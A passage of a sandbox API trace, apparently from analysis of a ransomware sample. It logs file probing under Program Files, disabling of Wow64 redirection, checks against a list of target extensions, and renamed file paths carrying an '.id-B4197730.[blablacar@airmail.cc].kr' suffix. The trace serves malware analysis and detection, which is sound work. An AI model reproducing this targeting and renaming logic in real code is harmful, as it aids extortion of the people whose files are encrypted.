(hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0210.307] GetTickCount () returned 0x1142963 [0210.307] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0210.469] GetTickCount () returned 0x11429ff [0210.469] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0210.612] GetTickCount () returned 0x1142a9b [0210.612] GetTickCount () returned 0x1142a9b [0210.612] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0210.757] GetTickCount () returned 0x1142b28 [0210.757] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0210.985] GetTickCount () returned 0x1142c12 [0210.985] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0211.105] GetTickCount () returned 0x1142c80 [0211.105] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0211.520] GetTickCount () returned 0x1142e26 [0211.520] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0211.781] GetTickCount () returned 0x1142f2f [0211.781] GetTickCount () returned 0x1142f2f [0211.781] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0212.192] GetTickCount () returned 0x11430c5 [0212.200] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0213.050] GetTickCount () returned 0x1143411 [0213.050] GetTickCount () returned 0x1143421 [0213.062] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0213.408] GetTickCount () returned 0x1143579 [0213.408] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0213.795] GetTickCount () returned 0x11436ff [0213.796] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0214.070] GetTickCount () returned 0x1143818 [0214.070] GetTickCount () returned 0x1143818 [0214.070] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0214.576] GetTickCount () returned 0x1143a0c [0214.576] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0214.867] GetTickCount () returned 0x1143b35 [0214.867] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0215.399] GetTickCount () returned 0x1143d49 [0215.399] GetTickCount () returned 0x1143d49 [0215.410] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0215.760] GetTickCount () returned 0x1143eb0 [0215.760] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0216.088] GetTickCount () returned 0x1143ff8 [0216.088] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0216.501] GetTickCount () returned 0x114418e [0216.501] GetTickCount () returned 0x114418e [0216.501] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0216.850] GetTickCount () returned 0x11442e6 [0216.850] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0217.215] GetTickCount () returned 0x114445d [0217.218] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0217.474] GetTickCount () returned 0x1144557 [0217.474] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0217.667] GetTickCount () returned 0x1144622 [0217.667] GetTickCount () returned 0x1144622 [0217.667] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) returned 0x102 [0217.888] GetTickCount () returned 0x11446fd [0217.888] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x64) Thread: id = 40 os_tid = 0xe30 Thread: id = 41 os_tid = 0xe34 [0174.594] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x4deef0 [0174.594] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10000) returned 0x4eeef8 [0174.595] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a450 [0174.595] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x4bcc28 [0174.595] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a540 [0174.595] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x100000) returned 0x3b48020 [0174.597] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a648 [0174.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a648, Size=0x20) returned 0x45dd58 [0174.597] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x47a558 [0174.597] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a558, Size=0x20) returned 0x45dbf0 [0174.598] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x74bd0000 [0174.598] GetProcAddress (hModule=0x74bd0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74be6b30 [0174.598] Wow64DisableWow64FsRedirection (in: OldValue=0x2ffff50 | out: OldValue=0x2ffff50*=0x0) returned 1 [0174.598] lstrlenW (lpString="kernel32.dll") returned 12 [0174.598] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45dd58 | out: hHeap=0x420000) returned 1 [0174.598] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.598] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45dbf0 | out: hHeap=0x420000) returned 1 [0174.598] Sleep (dwMilliseconds=0x64) [0174.875] lstrcmpiW (lpString1=".MARKER", lpString2=".kr") returned 1 [0174.875] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30 [0174.875] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0174.878] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=0) returned 1 [0174.878] CloseHandle (hObject=0x33c) returned 1 [0174.878] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0174.878] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0174.878] lstrlenW (lpString=".doc") returned 4 [0174.878] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0174.878] lstrlenW (lpString=".docx") returned 5 [0174.878] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0174.878] lstrlenW (lpString=".pdf") returned 4 [0174.878] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0174.878] lstrlenW (lpString=".xls") returned 4 [0174.878] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0174.878] lstrlenW (lpString=".xlsx") returned 5 [0174.878] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0174.878] lstrlenW (lpString=".ppt") returned 4 [0174.878] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0174.878] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0174.878] lstrlenW (lpString=".zip") returned 4 [0174.878] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0174.878] lstrlenW (lpString=".rar") returned 4 [0174.878] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0174.878] lstrlenW (lpString=".bz2") returned 4 [0174.878] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0174.878] lstrlenW (lpString=".7z") returned 3 [0174.879] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0174.879] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0174.879] lstrlenW (lpString=".dbf") returned 4 [0174.879] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0174.879] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0174.879] lstrlenW (lpString=".1cd") returned 4 [0174.879] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0174.879] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0174.879] lstrlenW (lpString=".jpg") returned 4 [0174.879] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0174.879] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0174.879] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0174.879] lstrlenW (lpString=".doc") returned 4 [0174.879] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1 [0174.879] lstrlenW (lpString=".docx") returned 5 [0174.879] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1 [0174.879] lstrlenW (lpString=".pdf") returned 4 [0174.879] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1 [0174.879] lstrlenW (lpString=".xls") returned 4 [0174.879] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1 [0174.879] lstrlenW (lpString=".xlsx") returned 5 [0174.879] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1 [0174.879] lstrlenW (lpString=".ppt") returned 4 [0174.879] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1 [0174.879] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0174.879] lstrlenW (lpString=".zip") returned 4 [0174.879] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1 [0174.879] lstrlenW (lpString=".rar") returned 4 [0174.879] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1 [0174.879] lstrlenW (lpString=".bz2") returned 4 [0174.879] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1 [0174.879] lstrlenW (lpString=".7z") returned 3 [0174.879] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1 [0174.879] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0174.880] lstrlenW (lpString=".dbf") returned 4 [0174.880] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1 [0174.880] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0174.880] lstrlenW (lpString=".1cd") returned 4 [0174.880] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1 [0174.880] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33 [0174.880] lstrlenW (lpString=".jpg") returned 4 [0174.880] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1 [0174.880] Sleep (dwMilliseconds=0x64) [0175.126] Sleep (dwMilliseconds=0x64) [0175.436] Sleep (dwMilliseconds=0x64) [0175.738] Sleep (dwMilliseconds=0x64) [0176.128] Sleep (dwMilliseconds=0x64) [0176.625] lstrcmpiW (lpString1=".exe", lpString2=".kr") returned -1 [0176.625] lstrlenW (lpString="lang hl gis.exe") returned 15 [0176.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\lang hl gis.exe" (normalized: "c:\\program files\\common files\\lang hl gis.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0176.990] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=78336) returned 1 [0176.990] CloseHandle (hObject=0x3cc) returned 1 [0176.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\lang hl gis.exe" (normalized: "c:\\program files\\common files\\lang hl gis.exe")) returned 0x20 [0176.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\lang hl gis.exe.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\lang hl gis.exe.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\lang hl gis.exe" (normalized: "c:\\program files\\common files\\lang hl gis.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0176.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0176.990] lstrlenW (lpString=".doc") returned 4 [0176.990] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0176.990] lstrlenW (lpString=".docx") returned 5 [0176.990] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0176.990] lstrlenW (lpString=".pdf") returned 4 [0176.990] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0176.990] lstrlenW (lpString=".xls") returned 4 [0176.990] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0176.990] lstrlenW (lpString=".xlsx") returned 5 [0176.990] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0176.990] lstrlenW (lpString=".ppt") returned 4 [0176.991] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0176.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0176.991] lstrlenW (lpString=".zip") returned 4 [0176.991] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0176.991] lstrlenW (lpString=".rar") returned 4 [0176.991] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0176.991] lstrlenW (lpString=".bz2") returned 4 [0176.991] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0176.991] lstrlenW (lpString=".7z") returned 3 [0176.991] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0176.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0176.991] lstrlenW (lpString=".dbf") returned 4 [0176.991] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0176.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0176.991] lstrlenW (lpString=".1cd") returned 4 [0176.991] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0176.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0176.991] lstrlenW (lpString=".jpg") returned 4 [0176.991] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0176.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0176.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0176.991] lstrlenW (lpString=".doc") returned 4 [0176.991] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0176.991] lstrlenW (lpString=".docx") returned 5 [0176.991] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0176.991] lstrlenW (lpString=".pdf") returned 4 [0176.991] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0176.991] lstrlenW (lpString=".xls") returned 4 [0176.991] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0176.991] lstrlenW (lpString=".xlsx") returned 5 [0176.991] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0176.991] lstrlenW (lpString=".ppt") returned 4 [0176.991] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0176.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0176.992] lstrlenW (lpString=".zip") returned 4 [0176.992] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0176.992] lstrlenW (lpString=".rar") returned 4 [0176.992] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0176.992] lstrlenW (lpString=".bz2") returned 4 [0176.992] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0176.992] lstrlenW (lpString=".7z") returned 3 [0176.992] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0176.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0176.992] lstrlenW (lpString=".dbf") returned 4 [0176.992] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0176.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0176.992] lstrlenW (lpString=".1cd") returned 4 [0176.992] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0176.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0176.992] lstrlenW (lpString=".jpg") returned 4 [0176.992] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0176.992] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0176.992] lstrlenW (lpString="msdaosp.dll") returned 11 [0176.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0176.993] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=99840) returned 1 [0176.993] CloseHandle (hObject=0x3cc) returned 1 [0176.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0176.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0176.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0176.993] lstrlenW (lpString=".doc") returned 4 [0176.993] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0176.993] lstrlenW (lpString=".docx") returned 5 [0176.993] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0176.993] lstrlenW (lpString=".pdf") returned 4 [0176.993] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0176.993] lstrlenW (lpString=".xls") returned 4 [0176.993] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0176.993] lstrlenW (lpString=".xlsx") returned 5 [0176.993] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0176.993] lstrlenW (lpString=".ppt") returned 4 [0176.993] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0176.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0176.993] lstrlenW (lpString=".zip") returned 4 [0176.993] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0176.994] lstrlenW (lpString=".rar") returned 4 [0176.994] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0176.994] lstrlenW (lpString=".bz2") returned 4 [0176.994] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0176.994] lstrlenW (lpString=".7z") returned 3 [0176.994] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0176.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0176.994] lstrlenW (lpString=".dbf") returned 4 [0176.994] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0176.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0176.994] lstrlenW (lpString=".1cd") returned 4 [0176.994] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0176.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0176.994] lstrlenW (lpString=".jpg") returned 4 [0176.994] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0176.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0176.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0176.994] lstrlenW (lpString=".doc") returned 4 [0176.994] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0176.994] lstrlenW (lpString=".docx") returned 5 [0176.994] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0176.994] lstrlenW (lpString=".pdf") returned 4 [0176.994] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0176.994] lstrlenW (lpString=".xls") returned 4 [0176.994] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0176.994] lstrlenW (lpString=".xlsx") returned 5 [0176.994] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0176.994] lstrlenW (lpString=".ppt") returned 4 [0176.994] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0176.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0176.994] lstrlenW (lpString=".zip") returned 4 [0176.995] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0176.995] lstrlenW (lpString=".rar") returned 4 [0176.995] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0176.995] lstrlenW (lpString=".bz2") returned 4 [0176.995] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0176.995] lstrlenW (lpString=".7z") returned 3 [0176.995] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0176.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0176.995] lstrlenW (lpString=".dbf") returned 4 [0176.995] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0176.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0176.995] lstrlenW (lpString=".1cd") returned 4 [0176.995] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0176.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned 55 [0176.995] lstrlenW (lpString=".jpg") returned 4 [0176.995] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0176.995] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0176.995] lstrlenW (lpString="msdaps.dll") returned 10 [0176.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0176.995] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=376320) returned 1 [0176.995] CloseHandle (hObject=0x3cc) returned 1 [0176.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0176.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0176.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0176.996] lstrlenW (lpString=".doc") returned 4 [0176.996] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0176.996] lstrlenW (lpString=".docx") returned 5 [0176.996] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0176.996] lstrlenW (lpString=".pdf") returned 4 [0176.996] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0176.996] lstrlenW (lpString=".xls") returned 4 [0176.996] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0176.996] lstrlenW (lpString=".xlsx") returned 5 [0176.996] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0176.996] lstrlenW (lpString=".ppt") returned 4 [0176.996] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0176.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0176.996] lstrlenW (lpString=".zip") returned 4 [0176.996] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0176.996] lstrlenW (lpString=".rar") returned 4 [0176.996] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0176.996] lstrlenW (lpString=".bz2") returned 4 [0176.996] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0176.996] lstrlenW (lpString=".7z") returned 3 [0176.996] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0176.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0176.997] lstrlenW (lpString=".dbf") returned 4 [0176.997] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0176.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0176.997] lstrlenW (lpString=".1cd") returned 4 [0176.997] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0176.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0176.997] lstrlenW (lpString=".jpg") returned 4 [0176.997] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0176.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0176.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0176.997] lstrlenW (lpString=".doc") returned 4 [0176.997] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0176.997] lstrlenW (lpString=".docx") returned 5 [0176.997] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0176.997] lstrlenW (lpString=".pdf") returned 4 [0176.997] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0176.997] lstrlenW (lpString=".xls") returned 4 [0176.997] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0176.997] lstrlenW (lpString=".xlsx") returned 5 [0176.997] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0176.997] lstrlenW (lpString=".ppt") returned 4 [0176.997] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0176.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0176.997] lstrlenW (lpString=".zip") returned 4 [0176.997] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0176.997] lstrlenW (lpString=".rar") returned 4 [0176.997] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0176.997] lstrlenW (lpString=".bz2") returned 4 [0176.997] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0176.997] lstrlenW (lpString=".7z") returned 3 [0176.997] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0176.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0176.998] lstrlenW (lpString=".dbf") returned 4 [0176.998] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0176.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0176.998] lstrlenW (lpString=".1cd") returned 4 [0176.998] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0176.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned 54 [0176.998] lstrlenW (lpString=".jpg") returned 4 [0176.998] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0176.998] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0176.998] lstrlenW (lpString="msdasql.dll") returned 11 [0176.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole 